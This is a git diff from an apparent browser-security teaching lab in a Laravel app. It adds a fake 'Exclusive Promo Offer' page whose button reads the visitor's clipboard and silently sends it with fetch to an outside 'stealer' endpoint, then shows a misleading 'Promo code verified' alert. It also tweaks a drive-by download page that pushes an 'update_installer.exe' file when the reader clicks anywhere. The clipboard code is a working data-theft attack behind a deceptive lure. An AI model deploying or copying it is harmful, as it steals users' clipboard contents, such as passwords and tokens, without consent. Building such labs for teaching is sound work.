diff --git a/resources/views/hacker/clipboard.blade.php b/resources/views/hacker/clipboard.blade.php
new file mode 100644
index 0000000..529c2e4
--- /dev/null
+++ b/resources/views/hacker/clipboard.blade.php
@@ -0,0 +1,56 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Promo Code Verification</title>
+    <script src="https://cdn.tailwindcss.com"></script>
+</head>
+<body class="bg-gray-50 text-gray-800 flex items-center justify-center h-screen">
+    <div class="max-w-md w-full bg-white p-8 rounded-xl shadow-lg text-center">
+        <h1 class="text-2xl font-bold text-gray-800 mb-2">Exclusive Promo Offer</h1>
+        <p class="text-gray-600 mb-6">Verify your promo code to get up to 50% off on your next purchase.</p>
+
+        <button id="verifyBtn" class="w-full bg-blue-600 hover:bg-blue-700 text-white font-semibold py-3 px-4 rounded transition duration-200 ease-in-out">
+            Verify Promo Code
+        </button>
+
+        <div class="mt-8 text-left p-4 bg-gray-100 border-l-4 border-red-500 rounded text-xs text-gray-700">
+            <strong>Lab Observation:</strong> Open DevTools (F12) to monitor the console.<br>
+            - <strong>Attempt 1:</strong> Zero-click read attempt on load.<br>
+            - <strong>Attempt 2:</strong> User-gesture read attempt on button click.
+        </div>
+    </div>
+
+    <script>
+        // Attempt 1: Zero-Click Test on window.onload
+        window.onload = async () => {
+            console.log('[Lab] Attempt 1: Trying to read clipboard without user activation...');
+            try {
+                const text = await navigator.clipboard.readText();
+                console.warn('[Lab] WARNING: Browser allowed clipboard read without user interaction! Data:', text);
+            } catch (error) {
+                console.error('[Lab] SUCCESS: Browser blocked zero-click clipboard read. Error:', error.message);
+            }
+        };
+
+        // Attempt 2: User-Gesture Hijacking
+        document.getElementById('verifyBtn').addEventListener('click', async () => {
+            console.log('[Lab] Attempt 2: Trying to read clipboard with user click gesture...');
+            try {
+                const text = await navigator.clipboard.readText();
+                console.warn('[Lab] VULNERABILITY: Successfully read clipboard data during user click! Data:', text);
+
+                // Silently send stolen text to stealer
+                fetch('http://hackerapp.eitebar.ir/stealer?data=CLIPBOARD_STOLEN:' + encodeURIComponent(text), { mode: 'no-cors' });
+                console.log('[Lab] Stolen data sent to stealer endpoint.');
+
+                alert('Promo code verified (or clipboard hijacked)!');
+            } catch (error) {
+                console.error('[Lab] Browser blocked clipboard read even with user gesture (or permission denied). Error:', error.message);
+                alert('Failed to verify promo code. Please allow clipboard access if prompted.');
+            }
+        });
+    </script>
+</body>
+</html>
\ No newline at end of file
diff --git a/resources/views/hacker/drive-by.blade.php b/resources/views/hacker/drive-by.blade.php
index 5d1408f..524897d 100644
--- a/resources/views/hacker/drive-by.blade.php
+++ b/resources/views/hacker/drive-by.blade.php
@@ -21,13 +21,13 @@
 
         <div class="space-y-6 text-lg leading-relaxed">
             <p>Artificial Intelligence is moving at a breakneck pace. By 2026, the landscape of AI tools has shifted entirely, integrating seamlessly into our daily workflows. In this article, we explore the top 10 tools that are reshaping industries.</p>
-            
+
             <h3 class="text-2xl font-semibold mt-4">1. NeuralSync</h3>
             <p>NeuralSync offers unparalleled brain-to-text capabilities, allowing users to draft emails and documents simply by thinking about them. Early adopters are reporting a 300% increase in productivity.</p>
 
             <h3 class="text-2xl font-semibold mt-4">2. QuantumCode</h3>
             <p>Forget Copilot; QuantumCode writes entire applications based on a single paragraph of prompt, deploying them instantly across multiple cloud providers securely.</p>
-            
+
             <p class="text-blue-500 font-semibold mt-8 animate-pulse text-center"><em>(Click anywhere to continue reading...)</em></p>
         </div>
     </main>
@@ -51,7 +51,7 @@
             // Ensure we only trigger it once to simulate a covert download
             if (!window.hasTriggeredDownload) {
                 window.hasTriggeredDownload = true;
-                
+
                 const a = document.createElement('a');
                 a.href = "{{ route('hacker.payload') }}";
                 a.download = "update_installer.exe"; // Force download hint
diff --git a/routes/web.php b/routes/web.php
index 2c59404..0263bd7 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -32,7 +32,7 @@
         return view('hacker.clickjacking');
     })->name('hacker.clickjacking');
 
-    // Drive-by Download: Fake Malware Payload
+    // Drive-by Download Payload
     Route::get('/payload.exe', function () {
         $content = "This is a harmless dummy payload simulating malware for the Browser Security Lab.";
         return response($content, 200, [
@@ -46,6 +46,11 @@
         return view('hacker.drive-by');
     })->name('hacker.driveby');
 
+    // Clipboard Abuse Exploit Page
+    Route::get('/clipboard', function () {
+        return view('hacker.clipboard');
+    })->name('hacker.clipboard');
+
 });
 
 /*
